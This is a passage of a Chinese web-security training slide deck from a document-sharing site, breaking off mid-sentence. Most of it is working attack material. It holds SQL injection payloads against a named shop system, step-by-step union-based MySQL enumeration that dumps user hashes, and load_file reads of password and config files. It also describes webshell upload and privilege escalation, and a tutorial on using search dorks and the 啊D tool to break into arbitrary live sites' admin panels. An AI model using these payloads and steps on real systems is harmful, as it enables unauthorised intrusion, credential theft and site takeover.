您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 咨询培训 > web安全专项技术培训
web安全lip内部web安全综合培训议程漏洞利用手工注入工具使用答疑讨论漏洞利用-商达讯网店系统注入漏洞漏洞描述利用演示安全防护漏洞利用-商达讯网店系统注入漏洞(1)商达讯网店系统提供免费网上商城的搭建,其代码从创立初期,存在多处注入,作为我们研究web安全的入门,我们以这款免费的商城代码进行注入分析。查询订单页面中,对输入的查询函数缺乏过滤导致注入漏洞利用-商达讯网店系统注入漏洞(2)注入,即将我们的数据放进数据库执行,非法注入,将导致hacker操作数据库完成他想要做的任何事情。针对订单页面查询,输入'unionselect1,admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,userpassword,24fromadminwhere''='漏洞利用-商达讯网店系统注入漏洞(3)注入的防护,即将传递给数据库的所有数据进行验证输入。分析代码,将goods赋值前进行验证过滤,如设置goods=sqlcheck(request.form(“searchkey”))漏洞利用-文件包含漏洞漏洞描述利用演示安全防护漏洞利用-文件包含漏洞(1)文件包含漏洞指的是可以通过URL定义和改写PHP变量,从而演变成操控网页脚本,加载其它文件的控制流程,其核心思路必须使用register_globals=on漏洞利用-文件包含漏洞(2)漏洞代码:allow_url_fopen=Onallow_url_include=On漏洞利用:手工注入-Access目标注入点查找猜测数据库表、字段、数据内容寻找后台上传Webshell利用演示目标注入点查通过我们and1=1和and1=2我们判断页面是典型数字类型注入点此处省略1W字利用演示上传Webshell这里我们用到方法是上传小马,然后通过数据库备份功能修改上传小马后缀名称之后上次大马。通过大马来提权。详细方法如图利用演示上传Webshell上传小马Jep.jpg手工注入-mysql(0)注入原理分析:1)查询注入点,基本测试2)确认后,查orderby数字--正常则表示字段大于等于此数字3)查询出能爆信息的字段and1=2unionselect1,2,3,4,5,6/*or--(假设字段长度为6)判断注入点权限:and(selectcount(*)frommysql.user)0/*4)查询各种数据信息,假设爆出字段5显示信息,则将5换成需要显示的信息5=version()/user()5)主要根据mysql最新的information_schema库的表中,从中查询信息,如and1=2unionselect1,2,3,4,group_concat(schema_name),6frominformation_schema.schemata,查询各数据库名称6)查询你想查询库中的所有表名,如已经查询到包含phpbb数据库,想看其中的表,则将phpbb换成16进制进行查询,如and1=2unionselect1,2,3,4,group_concat(table_name),6frominformation_schema.tableswheretable_schema=0x70687062627)如果表名太多,可通过substring(string,subnumber,number)分离表名,即substring(group_concat(table_name),1,50)8)查询出你感兴趣的表名后,可继续查列名and1=2/**/union/**/select/**/1,2,3,group_concat(COLUMN_NAME),5,6/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x62685F61646D696E9)库,表,列名皆知,则可查询具体信息:and1=2/**/union/**/select/**/1,2,3,group_concat(Host,User,Password),5,6/**/from/**/mysql.user手工注入-mysql(1-1)本地过程演示注入原理分析:本地搭建测试环境以某书籍上表明的问题测试文件为例,其给出一个user参数,未进行任何过滤,问题代码如下:一步步测试,首先查看当前表有多少个字段,当orderby38时出现无此列,orderby37正常,则肯定字段数为37.手工注入-mysql(1-2)本地过程演示注入原理分析:现在可以屏蔽正确的查询信息,以此回显我们的查询。先查询基本信息,如下所示:手工注入-mysql(1-3)本地过程演示注入原理分析:可以看出查询正常,支持union查询并在多处支持回显,现在我们查询当前网站服务器上有多少个数据库,各是什么,必要时,以substring()读取手工注入-mysql(1-4)本地过程演示注入原理分析:本例查询joomla数据库,直接查询数据库会被编码为不识别,使用16进制加密joomla,查询此数据库的表情况:此库中表比较多,那么需要以substring()来分步读取手工注入-mysql(1-5)本地过程演示注入原理分析:有理由相信jos_users表中存放着关键信息,查询此表的字段信息:手工注入-mysql(1-6)本地过程演示注入原理分析:很明显,管理员的账户密码,能够获取了:手工注入-mysql(1-7)本地过程演示注入原理分析:接下来该做什么了?将密文解密,登录后台,执行操作,获取shell,提权,获取服务器权限。还有没有更好的途径?Mysql-拓展(1-1)数据库结构分析:Mysql库:Information_schema库:Mysql-拓展(2-1)Load_file函数1)语法:需要file权限selectload_file('/etc/password')--select%201,2,3,4,5,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),7--必要时以/**/代替空格2)各常用配置文件:MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件,如:/usr/local/app/php5/lib/php.ini//PHP相关设置/etc/httpd/conf/httpd.conf//apache配置文件/etc/my.cnf//mysql的配置文件c:\mysql\data\mysql\user.MYD//存储了mysql.user表中的数据库连接密码c:\ProgramFiles\RhinoSoft.com\Serv-U\ServUDaemon.ini//存储了虚拟主机网站路径和密码等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,c:\ProgramFiles\Serv-U\ServUAdmin.exe//6.0版本以前的serv-u管理员密码存储于此C:\DocumentsandSettings\AllUsers\ApplicationData\Symantec\pcAnywhere\*.cif文件//存储了pcAnywhere的登陆密码Mysql-拓展(2-2)Intooutfile函数1)magic_quotes_gpc必须为off,否则outfile的“‘”会被转义,而此函数的符号不能被其它加密替代2)获得物理路径(intooutfile'物理路径')这样才能写对目录3)能够使用union(也就是说需要MYSQL3以上的版本)4)就是MYSQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)5)对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x也就是说组跟其他用户都没有权限写操作.--可备份到上传目录(selectcount(*)fromMySQL.user)0--(写权限判断linux下写入到上传目录)示例:Mysql-拓展(3-1)数据库密码的本地恢复:Web应用文件读取:多在conn.php,config.php等文件中存储着数据库的明文连接密码Windows下密码恢复:①打开命令行窗口,停止mysql服务:Netstopmysql②启动mysql,一般到mysql的安装路径,找到mysqld-nt.exe③执行:mysqld-nt--skip-grant-tables④另外打开一个命令行窗口,进入相应目录下,执行mysqlusemysqlupdateusersetpassword=PASSWORD(new_pass)whereuser=root;flushprivileges;exit⑤用Ctrl+Alt+Del,找到mysqld-nt的进程杀掉它,在重新启动mysql-nt服务,就可以用新密码登录了Mysql-拓展(3-2)Mysql-拓展(3-3)Linux下密码恢复:mysql一般位于/var/lib/mysql/mysql存储用户的文件数据于user.MYD一覆盖文件(覆盖前此文件最好备份一份以防意外)然后再修改任意密码慎用!!①mysqlusemysql②mysqlupdateusersetPassword=PASSWORD('xxxxxx')whereUser='root'二无认证登录①首先,关闭服务/etc/init.d/mysqlstop②然后安全模式登录:/usr/bin/safe_mysqld--skip-grant-tables③现在可以改密码了:/var/lib/mysql/mysqlusemysqlupdateusersetpassword=PASSWORD(new_pass)whereuser=root;flushprivileges;④再杀掉此时的进程,killall-TERMmysqld重启服务,新密码登录Mysql-拓展(3-4)新手注入工具-啊D1.准备扫描数据在谷歌和百度里面高级搜索,打开百度或者谷歌,“(我以百度为例来进行这个步骤)选择“高级”在“包含以下全部的关键词”中输入“inurl:{asp=XXXX}”(XXXX可以是任意的数字)在”选择搜索结果显示的条数“中选择”每页显示100条“然后点击“百度一下”,在弹出的窗口中复制出完整的URL地址。2.扫描注入点打开啊D注入工具,选择”注入检测“的”扫描注入点“子项。在检测网址中粘贴刚复制出来的URL地址,单击“打开网页”或者直接回车。此时啊D注入工具会扫该链接下的所有可用注入点。注入点会在界面的下方的“可用注入点”列表框中以红色字体显示。(刚打开时有可能没有可用注入点,因为此时此工具正在扫描注入点,随着扫描的时间推移就会有更多的注入点。如果当扫描结束了没有注入点的话就要更换“inurl:{asp=XXXX}”的数字了,再重复上面的步骤直到出现可用的注入点才能进行下面的步骤。)3.注入点检测双击一条扫描出来的URL地址,界面自动跳转到“SQL注入检测”,单击“检测”按钮。(如果提示“这个链接不能SQL注入!请选择别的链接”,则重新换一条链接再执行本步骤。直到不出现提示,左下角提示“检测完成”。)可以得出数据库类型。4.“检测表段”和“检测字段”此时会扫描数据库中可注入的数据表。当检测完成之后没有可用的表时重新执行步骤3,直到有可用的数据表。这里我们选择“admin”这个表段进行字段检测。勾选要检测的字段进行内容检测。5.MD5解密将检测得到的password字段中的内容复制到MD5在线解密网站上解密。6.管理入口检测单击“检测管理入口”,检测到的登陆入口会在“可用链接和目录位置”的列表框中显示。然后选择一个匹配的链接输入检测到的内容即可进入网站的管理后台。注:一条数据只能和该条数据关联的页面匹配,如果在一个界面登
本文标题:web安全专项技术培训
链接地址:https://www.777doc.com/doc-5823344 .html